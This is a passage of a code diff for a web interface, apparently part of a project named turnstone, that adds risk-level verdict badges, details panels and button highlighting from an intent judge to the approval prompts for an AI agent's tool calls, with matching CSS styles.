+    var isHidden = detail.style.display === "none";
+    detail.style.display = isHidden ? "block" : "none";
+    btn.textContent = isHidden ? "hide" : "details";
+  }
+}
+
+function updateVerdictBadge(verdict) {
+  if (!verdict || !verdict.call_id) return;
+  var escapedId = CSS.escape(verdict.call_id);
+  var badge = document.querySelector(
+    '.verdict-badge[data-call-id="' + escapedId + '"]',
+  );
+  if (!badge) return;
+
+  // Update risk level class
+  var risk = verdict.risk_level || "medium";
+  badge.className = "verdict-badge verdict-" + risk;
+
+  // Update content spans
+  var riskEl = badge.querySelector(".verdict-risk");
+  var recEl = badge.querySelector(".verdict-rec");
+  var confEl = badge.querySelector(".verdict-conf");
+  if (riskEl) riskEl.textContent = risk.toUpperCase();
+  if (recEl) recEl.textContent = verdict.recommendation || "review";
+  if (confEl)
+    confEl.textContent = Math.round((verdict.confidence || 0) * 100) + "%";
+
+  // Remove spinner
+  var spinner = badge.querySelector(".verdict-judge-spinner");
+  if (spinner) spinner.remove();
+
+  // Update detail section
+  var detail = badge.nextElementSibling;
+  if (detail && detail.classList.contains("verdict-detail")) {
+    var summaryEl = detail.querySelector(".verdict-summary");
+    var reasonEl = detail.querySelector(".verdict-reasoning");
+    var tierEl = detail.querySelector(".verdict-tier");
+    if (summaryEl) summaryEl.textContent = verdict.intent_summary || "";
+    if (reasonEl) reasonEl.textContent = verdict.reasoning || "";
+    if (tierEl)
+      tierEl.textContent =
+        (verdict.tier || "llm") +
+        " tier" +
+        (verdict.judge_model ? " | " + verdict.judge_model : "");
+    // Update evidence
+    var evidenceEl = detail.querySelector(".verdict-evidence");
+    if (verdict.evidence && verdict.evidence.length) {
+      if (!evidenceEl) {
+        evidenceEl = document.createElement("div");
+        evidenceEl.className = "verdict-evidence";
+        var tierDiv = detail.querySelector(".verdict-tier");
+        if (tierDiv) detail.insertBefore(evidenceEl, tierDiv);
+        else detail.appendChild(evidenceEl);
+      }
+      evidenceEl.innerHTML = verdict.evidence
+        .map(function (e) {
+          return "<div>\u2022 " + escapeHtml(e) + "</div>";
+        })
+        .join("");
+    } else if (evidenceEl) {
+      evidenceEl.remove();
+    }
+  }
+
+  // Update glow on approval buttons
+  updateVerdictGlow(verdict.recommendation);
+}
+
+function updateVerdictGlow(recommendation) {
+  var prompt = document.querySelector(".approval-prompt");
+  if (!prompt) return;
+  prompt.classList.remove(
+    "verdict-glow-approve",
+    "verdict-glow-deny",
+    "verdict-glow-review",
+  );
+  if (recommendation === "approve")
+    prompt.classList.add("verdict-glow-approve");
+  else if (recommendation === "deny") prompt.classList.add("verdict-glow-deny");
+  else prompt.classList.add("verdict-glow-review");
+}
+
+function showInlineToolBlock(items, autoApproved, judgePending) {
   const block = document.createElement("div");
   block.className = "msg approval-block" + (autoApproved ? " approved" : "");
   if (!autoApproved) {
@@ -1361,12 +1522,32 @@ function showInlineToolBlock(items, autoApproved) {
     block.setAttribute("aria-label", "Tool approval required");
   }
 
+  // Track the highest-priority recommendation for glow
+  var glowRec = null;
+
   items.forEach(function (item) {
     block.appendChild(buildToolDiv(item));
+    // Render verdict badge if present
+    if (item.verdict) {
+      block.insertAdjacentHTML(
+        "beforeend",
+        renderVerdictBadge(item.verdict, judgePending),
+      );
+      // Track recommendation for glow (deny > review > approve)
+      var rec = item.verdict.recommendation || "review";
+      if (
+        !glowRec ||
+        rec === "deny" ||
+        (rec === "review" && glowRec === "approve")
+      ) {
+        glowRec = rec;
+      }
+    }
   });
 
   if (autoApproved) {
     const badge = document.createElement("div");
+    badge.setAttribute("role", "status");
     badge.className = "approval-badge badge-approved";
     badge.textContent = "\u2713 auto-approved";
     block.appendChild(badge);
@@ -1374,6 +1555,13 @@ function showInlineToolBlock(items, autoApproved) {
     const prompt = document.createElement("div");
     prompt.className = "approval-prompt";
 
+    // Apply verdict glow on initial heuristic verdict
+    if (glowRec) {
+      if (glowRec === "approve") prompt.classList.add("verdict-glow-approve");
+      else if (glowRec === "deny") prompt.classList.add("verdict-glow-deny");
+      else prompt.classList.add("verdict-glow-review");
+    }
+
     const actions = document.createElement("div");
     actions.className = "approval-actions";
     actions.innerHTML =
@@ -1412,6 +1600,7 @@ function resolveInlineApproval(approved, always, feedback, skipPost) {
 
   // Add badge
   const badge = document.createElement("div");
+  badge.setAttribute("role", "status");
   if (approved) {
     badge.className = "approval-badge badge-approved";
     var label = always ? "\u2713 always approve" : "\u2713 approved";
@@ -1852,6 +2041,19 @@ document.addEventListener("keydown", function (e) {
       resolveInlineApproval(false, false, getFeedback());
     } else if (e.key === "a") {
       resolveInlineApproval(true, true, getFeedback());
+    } else if (e.key === "d") {
+      // Toggle verdict details panel
+      var details = approvalBlockEl
+        ? approvalBlockEl.querySelectorAll(".verdict-detail")
+        : [];
+      details.forEach(function (d) {
+        var isHidden = d.style.display === "none";
+        d.style.display = isHidden ? "block" : "none";
+        var btn = d.previousElementSibling
+          ? d.previousElementSibling.querySelector(".verdict-expand")
+          : null;
+        if (btn) btn.textContent = isHidden ? "hide" : "details";
+      });
     }
     return;
   }

turnstone/ui/static/style.css

@@ -330,6 +330,8 @@
 }
 .approval-block.approved { border-left-color: var(--green); }
 .approval-block.denied { border-left-color: var(--red); }
+.approval-block.denied .approval-tool { opacity: 0.55; }
+.approval-block.denied .approval-tool .tool-name { color: var(--muted); }
 .approval-tool { padding: 8px 12px; border-bottom: 1px solid var(--border); }
 .approval-tool:last-of-type { border-bottom: none; }
 .approval-tool .tool-name { color: var(--yellow); font-weight: 600; font-size: 11px; margin-bottom: 3px; }
@@ -693,6 +695,82 @@
   .tool-output, .tool-output-stream { max-height: 200px; }
 }
 
+/* ==========================================================================
+   Verdict badges (intent judge)
+   ========================================================================== */
+.verdict-badge {
+  padding: 4px 10px;
+  font-size: 11px;
+  font-weight: 600;
+  display: flex;
+  align-items: center;
+  gap: 8px;
+  border-top: 1px solid var(--border);
+  margin-top: 2px;
+}
+.verdict-low      { color: var(--green);  border-left: 3px solid var(--green);  }
+.verdict-medium   { color: var(--yellow); border-left: 3px solid var(--yellow); }
+.verdict-high     { color: var(--red);    border-left: 3px solid var(--red);    }
+.verdict-critical { color: var(--red);    border-left: 3px solid var(--red);
+                    background: rgba(255, 80, 80, 0.05); }
+
+.verdict-detail {
+  padding: 6px 12px;
+  font-size: 11px;
+  border-top: 1px solid var(--border);
+  line-height: 1.5;
+}
+.verdict-detail .verdict-summary   { margin-bottom: 4px; font-weight: 600; }
+.verdict-detail .verdict-reasoning { color: var(--fg-dim); margin-bottom: 4px; }
+.verdict-detail .verdict-evidence  { color: var(--fg-dim); font-style: italic; margin-bottom: 4px; }
+.verdict-detail .verdict-tier      { color: var(--fg-dim); font-size: 10px; }
+
+.verdict-expand {
+  background: none;
+  border: none;
+  color: var(--accent);
+  cursor: pointer;
+  font-size: 10px;
+  text-decoration: underline;
+  padding: 0;
+}
+.verdict-expand:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; }
+
+.verdict-judge-spinner {
+  font-size: 10px;
+  color: var(--fg-dim);
+  display: inline-flex;
+  align-items: center;
+  gap: 4px;
+  font-weight: 400;
+}
+.judge-spinner-dot {
+  width: 6px;
+  height: 6px;
+  border-radius: 50%;
+  background: var(--accent);
+  animation: judge-pulse 1.2s ease-in-out infinite;
+}
+@keyframes judge-pulse {
+  0%, 100% { opacity: 0.3; }
+  50% { opacity: 1; }
+}
+
+/* Verdict glow on approval action buttons */
+.approval-prompt.verdict-glow-approve .btn-approve {
+  box-shadow: 0 0 8px var(--green-glow);
+  border-color: var(--green);
+}
+.approval-prompt.verdict-glow-deny .btn-deny {
+  box-shadow: 0 0 8px var(--red-glow);
+  border-color: var(--red);
+}
+.approval-prompt.verdict-glow-review .btn-approve,
+.approval-prompt.verdict-glow-review .btn-deny {
+  box-shadow: 0 0 6px var(--yellow-glow);
+  border-color: var(--yellow);
+}
+
 /* ==========================================================================
    Reduced motion — page-specific
    ========================================================================== */
@@ -701,6 +779,7 @@
   .ws-tab .tab-indicator[data-state="running"],
   .ws-tab .tab-indicator[data-state="attention"] { animation: none; opacity: 1; }
   .tool-output-stream { animation: none; border-left-color: var(--accent); }
+  .judge-spinner-dot { animation: none; opacity: 1; }
   .thinking-indicator::after { animation: none; content: '...'; }
   .ws-tab, .ws-tab .tab-close, #new-tab-btn,
   .hmenu-item, .dashboard-card,